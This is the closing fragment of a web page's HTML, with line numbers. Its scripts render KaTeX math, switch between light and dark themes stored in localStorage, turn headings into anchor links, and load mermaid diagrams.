588    <script defer src="js/katex/katex.min.js"></script>
589    <script defer src="js/katex/auto-render.min.js"></script>
590    <script>
591      document.addEventListener("DOMContentLoaded", function() {
592        renderMathInElement(document.body, {
593          displayMode: false,
594          // customised options
595          // • auto-render specific keys, e.g.:
596          delimiters: [
597            {left: '$$', right: '$$', display: true},
598            {left: '$', right: '$', display: false},
599            {left: "\\[", right: "\\]", display: true},
600            {left: "\\(", right: "\\)", display: false},
601            {left: "\\begin{equation}", right: "\\end{equation}", display: true}
602          ],
603          // • rendering keys, e.g.:
604          throwOnError : true
605        });
606      });
607
608      ///
609      let theme = localStorage.getItem("theme");
610      if ((theme === "light-theme")||(theme==null)) {
611          theme = "light-theme";
612          document.getElementById("themeSwitcher").checked = false;
613      } else if (theme === "dark-theme") {
614          theme = "dark-theme";
615          document.getElementById("themeSwitcher").checked = true;
616      }
617      document.body.className = theme;
618      localStorage.setItem("theme", theme);
619
620      function switchTheme() {
621        theme = localStorage.getItem("theme");
622        if (theme === "light-theme") {
623          theme = "dark-theme";
624          document.getElementById("themeSwitcher").checked = true;
625        } else {
626          theme = "light-theme";
627          document.getElementById("themeSwitcher").checked = false;
628        }
629        document.body.className = theme;
630        localStorage.setItem("theme", theme);
631
632        console.log(theme);
633      }
634    </script>
635    <script>
636    function tagLinks(tagName) {
637      var tags = document.getElementsByTagName(tagName);
638      for (var i=0, hElem; hElem =  tags[i]; i++) {
639        if (hElem.parentNode.className=="row postThumb") {
640          continue;
641        }
642        hElem.id = hElem.innerHTML.toLowerCase().replace(" ", "-");
643        hElem.innerHTML = "<a style='text-decoration:none;color:black;' href='#"+hElem.id+"'>"+hElem.innerHTML+"</a>";
644      }
645    }
646    tagLinks("h2");
647    tagLinks("h3");
648    tagLinks("h4");
649    tagLinks("h5");
650    </script>
651    <script src="js/mermaid.min.js"></script>
652
653
654  </body>
655</html>
656